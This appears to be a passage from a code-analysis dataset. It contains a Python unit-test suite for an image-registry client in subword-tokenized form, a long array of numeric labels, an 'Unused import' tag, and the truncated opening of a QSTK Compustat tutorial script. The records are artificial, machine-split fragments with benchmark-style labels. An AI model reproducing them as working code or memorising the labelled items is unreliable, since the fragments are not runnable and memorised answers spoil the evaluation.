"Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "image", "\\u", "data\\u", "as", "\\u", "iterable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "we", " ", "can", " ", "add", " ", "image", " ", "by", " ", "passi", "ng", " ", "image", " ", "data", " ", "as", " ", "an", " ", "iterable", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", ",_", "new", "\\u", "meta_", ",_", "new", "\\u", "chunks_", "=_", "self_", "._", "\\u", "add", "\\u", "image", "\\u", "as", "\\u", "iterable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "verify", "\\u", "image", "\\u", "iterable_", "(_", "fixture_", ",_", "new", "\\u", "meta_", ",_", "new", "\\u", "chunks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "roundtrip", "\\u", "image", "\\u", "with", "\\u", "image", "\\u", "data\\u", "as", "\\u", "iterable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "we", " ", "can", " ", "roundtrip", " ", "image", " ", "as", " ", "an", " ", "iterable", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", ",_", "new", "\\u", "meta_", ",_", "new", "\\u", "chunks_", "=_", "self_", "._", "\\u", "add", "\\u", "image", "\\u", "as", "\\u", "iterable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "duplicat", "e", " ", "direct", "ly", " ", "from", " ", "iterable", " ", "return", "ed", " ", "from", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "dup", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ",_", "new", "\\u", "chunks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dup", "\\u", "image", "\\u", "id_", "=_", "dup", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "roundtrip", "\\u", "meta_", ",_", "roundtrip", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "dup", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "verify", "\\u", "image", "\\u", "iterable_", "(_", "fixture_", ",_", "roundtrip", "\\u", "meta_", ",_", "roundtrip", "\\u", "chunks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "image", "\\u", "data\\u", "as", "\\u", "string", "\\u", "and", "\\u", "no", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "add", " ", "image", " ", "by", " ", "passi", "ng", " ", "image", " ", "data", " ", "as", " ", "string", " ", "w", "/", " ", "no", " ", "size", " ", "attr", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data\\u", "fixture_", "=_", "r", "\"", "chunk", "00000", "remainder", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ",_", "image", "\\u", "data\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "meta_", ",_", "new", "\\u", "image", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image", "\\u", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image", "\\u", "chunk_", "in_", "new", "\\u", "image", "\\u", "chunks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "image", "\\u", "data_", "+=_", "image", "\\u", "chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "image", "\\u", "data\\u", "fixture_", ",_", "new", "\\u", "image", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "new", "\\u", "meta_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "19_", ",_", "new", "\\u", "meta_", "[_", "'", "size", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "bad", "\\u", "store_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "Ba", "d", "Request", " ", "raise", "d", " ", "whe", "n", " ", "supply", "ing", " ", "bad", " ", "store", " ", "name", " ", "in", " ", "meta", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "store", "'_", ":_", "'", "bad", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data\\u", "fixture_", "=_", "r", "\"", "chunk", "00000", "remainder", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "PU", "T", " ", "registr", "y", " ", "API", " ", "update", "s", " ", "the", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "client_", "._", "update", "\\u", "image_", "(_", "UU", "ID", "2_", ",_", "fixture_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "image", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "non", " ", "exist", "ing", " ", "image", " ", "update", " ", "doe", "sn", "'", "t", " ", "work", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "bad", " ", "status", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "update", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "image", " ", "metadata", " ", "is", " ", "delete", "d", " ", "proper", "ly", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Grab", " ", "the", " ", "original", " ", "number", " ", "of", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "orig", "\\u", "num", "\\u", "images_", "=_", "len_", "(_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", " ", "image", " ", "#", "2_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "client_", "._", "delete", "\\u", "image_", "(_", "UU", "ID", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Verify", " ", "one", " ", "less", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "num", "\\u", "images_", "=_", "len_", "(_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "new", "\\u", "num", "\\u", "images_", ",_", "orig", "\\u", "num", "\\u", "images_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "image", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "cann", "ot", " ", "delete", " ", "non", "-", "exist", "ing", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "delete", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "member", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "members_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "member", "s", "\\u", "not", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "non", "-", "exist", "ant", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "members_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "member", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "getti", "ng", " ", "member", " ", "images", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memb", "\\u", "list_", "=_", "self_", "._", "client_", "._", "get", "\\u", "member", "\\u", "images_", "(_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "members_", "=_", "len_", "(_", "memb", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "num", "\\u", "members_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "replace", "\\u", "members_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "repla", "cing", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "replace", "\\u", "members_", ",_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict_", "(_", "member", "\\u", "id_", "=_", "'", "patt", "ie", "black", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "member_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "addin", "g", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "member_", ",_", "UU", "ID", "2_", ",_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "member_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "delet", "ing", " ", "image", " ", "member", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Authorized", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "delete", "\\u", "member_", ",_", "UU", "ID", "2_", ",_", "'", "patt", "ie", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Configure", "Client", "Fro", "m", "URL_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Configure", "Client", "Fro", "m", "URL_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "doc", "\\u", "root_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Configure", "Client", "Fro", "m", "URL_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "assert", "Configuration_", "(_", "self_", ",_", "url_", ",_", "host_", ",_", "port_", ",_", "use", "\\u", "ssl_", ",_", "doc", "\\u", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client_", "._", "configur", "e\\u", "from", "\\u", "url_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "host_", ",_", "self_", "._", "client_", "._", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "port_", ",_", "self_", "._", "client_", "._", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "use", "\\u", "ssl_", ",_", "self_", "._", "client_", "._", "use", "\\u", "ssl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "doc", "\\u", "root_", ",_", "self_", "._", "client_", "._", "doc", "\\u", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Configure", "Client", "Fro", "m", "URL_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "port", "\\u", "no", "\\u", "ssl", "\\u", "no", "\\u", "doc", "\\u", "root_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Configuration_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "http", "://", "www", ".", "example", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "'", "www", ".", "example", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "80_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "ssl_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "doc", "\\u", "root_", "=_", "''_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Configure", "Client", "Fro", "m", "URL_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "port", "\\u", "ssl", "\\u", "doc", "\\u", "root_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Configuration_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "https", "://", "www", ".", "example", ".", "com", ":", "800", "0", "/", "prefix", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "'", "www", ".", "example", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "8000_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "ssl_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "doc", "\\u", "root_", "=_", "'/", "prefix", "/'_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
tucker777/QSTK/Examples/Basic/tutorial6.py
[ { "content": "'''\n(c) 2011, 2012 Georgia Tech Research Corporation\nThis source code is released under the New BSD license. Please see\nhttp://wiki.quantsoftware.org/index.php?title=QSTK_License\nfor license details.\n\nCreated on June 1, 2011\n\n@author: John Cornwell\n@contact: [email protected]\n@summary: Demonstrates the retrieval and use of Compustat data from the DataAccess object.\n'''\n\nimport qstkutil.qsdateutil as du\nimport qstkutil.tsutil as tsu\nimport qstkutil.DataAccess as da\nimport datetime as dt\nimport matplotlib.pyplot as plt\nfrom pylab import *\nfrom math import isnan\nfrom copy import copy\n\n\nsymbols = ['GE','MSFT','XOM','PFE','C','WMT','INTC','AAPL','GOOG']\n\n''' Create compustat object and query it for some information '''\n\ncompustatObj = 